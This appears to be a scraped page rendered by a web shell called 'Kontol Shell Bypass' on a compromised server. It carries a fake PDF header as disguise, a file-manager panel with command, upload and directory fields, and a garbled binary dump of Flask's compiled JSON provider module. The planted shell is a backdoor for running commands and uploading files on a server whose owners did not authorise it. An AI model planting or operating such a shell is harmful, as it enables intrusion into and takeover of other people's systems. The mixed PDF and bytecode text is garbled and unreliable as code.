%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/flask/json/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/flask/json/__pycache__/provider.cpython-39.pyc
a

�_g��@s�ddlmZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZej
rrddlmZddlmZGdd	�d	�Zd
d
d�dd
�ZGdd�de�ZdS)�)�annotationsN)�date)�	http_date)�Response�)�Appc@s�eZdZdZddd�dd�Zdddd	�d
d�Zddddd
�dd�Zdddd�dd�Zdddd�dd�Zdddd�dd�Z	dddd�dd�Z
d S)!�JSONProvidera�A standard set of JSON operations for an application. Subclasses
    of this can be used to customize JSON behavior or use different
    JSON libraries.

    To implement a provider for a specific library, subclass this base
    class and implement at least :meth:`dumps` and :meth:`loads`. All
    other methods have default implementations.

    To use a different provider, either subclass ``Flask`` and set
    :attr:`~flask.Flask.json_provider_class` to a provider class, or set
    :attr:`app.json <flask.Flask.json>` to an instance of the class.

    :param app: An application instance. This will be stored as a
        :class:`weakref.proxy` on the :attr:`_app` attribute.

    .. versionadded:: 2.2
    r�None)�app�returncCst�|�|_dS)N)�weakref�proxy�_app)�selfr
�r�@/vddos/python/lib/python3.9/site-packages/flask/json/provider.py�__init__&szJSONProvider.__init__�t.Any�str��obj�kwargsrcKst�dS)z�Serialize data as JSON.

        :param obj: The data to serialize.
        :param kwargs: May be passed to the underlying JSON library.
        N��NotImplementedError�rrrrrr�dumps)szJSONProvider.dumpsz	t.IO[str])r�fprrcKs|�|j|fi|���dS)aSerialize data as JSON and write to a file.

        :param obj: The data to serialize.
        :param fp: A file opened for writing text. Should use the UTF-8
            encoding to be valid JSON.
        :param kwargs: May be passed to the underlying JSON library.
        N)�writer)rrrrrrr�dump1szJSONProvider.dump�str | bytes��srrcKst�dS)z�Deserialize data as JSON.

        :param s: Text or UTF-8 bytes.
        :param kwargs: May be passed to the underlying JSON library.
        Nr�rr!rrrr�loads;szJSONProvider.loadszt.IO[t.AnyStr])rrrcKs|j|��fi|��S)z�Deserialize data as JSON read from a file.

        :param fp: A file opened for reading text or UTF-8 bytes.
        :param kwargs: May be passed to the underlying JSON library.
        )r#�read)rrrrrr�loadCszJSONProvider.loadztuple[t.Any, ...]zdict[str, t.Any]��argsrrcCs8|r|rtd��|s|sdSt|�dkr0|dS|p6|S)Nz9app.json.response() takes either args or kwargs, not both�r)�	TypeError�len)rr'rrrr�_prepare_response_objKsz"JSONProvider._prepare_response_objrcOs"|�||�}|jj|�|�dd�S)a(Serialize the given arguments as JSON, and return a
        :class:`~flask.Response` object with the ``application/json``
        mimetype.

        The :func:`~flask.json.jsonify` function calls this method for
        the current application.

        Either positional or keyword arguments can be given, not both.
        If no arguments are given, ``None`` is serialized.

        :param args: A single value to serialize, or multiple values to
            treat as a list to serialize.
        :param kwargs: Treat as a dict to serialize.
        �application/json��mimetype)r+r�response_classr)rr'rrrrr�responseYszJSONProvider.responseN)�__name__�
__module__�__qualname__�__doc__rrrr#r%r+r0rrrrrs
rr)�orcCstt|t�rt|�St|tjtjf�r,t|�StrDt�	|�rDt�
|�St|d�rZt|���St
dt|�j�d���dS)N�__html__zObject of type z is not JSON serializable)�
isinstancerr�decimal�Decimal�uuid�UUIDr�dataclasses�is_dataclass�asdict�hasattrr6r)�typer1)r5rrr�_defaultls


rAc@speZdZUdZee�Zded<dZdZ	dZ
ded<dZd	d	d
d�dd
�Zdd	d	d�dd�Z
d	d	dd�dd�ZdS)�DefaultJSONProvidera4Provide JSON operations using Python's built-in :mod:`json`
    library. Serializes the following additional data types:

    -   :class:`datetime.datetime` and :class:`datetime.date` are
        serialized to :rfc:`822` strings. This is the same as the HTTP
        date format.
    -   :class:`uuid.UUID` is serialized to a string.
    -   :class:`dataclasses.dataclass` is passed to
        :func:`dataclasses.asdict`.
    -   :class:`~markupsafe.Markup` (or any object with a ``__html__``
        method) will call the ``__html__`` method to get a string.
    zt.Callable[[t.Any], t.Any]�defaultTNzbool | None�compactr,rrrcKs<|�d|j�|�d|j�|�d|j�tj|fi|��S)aISerialize data as JSON to a string.

        Keyword arguments are passed to :func:`json.dumps`. Sets some
        parameter defaults from the :attr:`default`,
        :attr:`ensure_ascii`, and :attr:`sort_keys` attributes.

        :param obj: The data to serialize.
        :param kwargs: Passed to :func:`json.dumps`.
        rC�ensure_ascii�	sort_keys)�
setdefaultrCrErF�jsonrrrrrr�s
zDefaultJSONProvider.dumpsrr cKstj|fi|��S)z�Deserialize data as JSON from a string or bytes.

        :param s: Text or UTF-8 bytes.
        :param kwargs: Passed to :func:`json.loads`.
        )rHr#r"rrrr#�szDefaultJSONProvider.loadsrr&cOsl|�||�}i}|jdur"|jjs,|jdur:|�dd�n|�dd�|jj|j|fi|���d�|jd�S)	a�Serialize the given arguments as JSON, and return a
        :class:`~flask.Response` object with it. The response mimetype
        will be "application/json" and can be changed with
        :attr:`mimetype`.

        If :attr:`compact` is ``False`` or debug mode is enabled, the
        output will be formatted to be easier to read.

        Either positional or keyword arguments can be given, not both.
        If no arguments are given, ``None`` is serialized.

        :param args: A single value to serialize, or multiple values to
            treat as a list to serialize.
        :param kwargs: Treat as a dict to serialize.
        NF�indentr�
separators)�,�:�
r-)r+rDr�debugrGr/rr.)rr'rrZ	dump_argsrrrr0�s�zDefaultJSONProvider.response)r1r2r3r4�staticmethodrArC�__annotations__rErFrDr.rr#r0rrrrrB|s

rB)�
__future__rr<r8rH�typing�tr:r�datetimerZ
werkzeug.httpr�
TYPE_CHECKINGZwerkzeug.sansio.responserZ
sansio.apprrrArBrrrr�<module>sY

Kontol Shell Bypass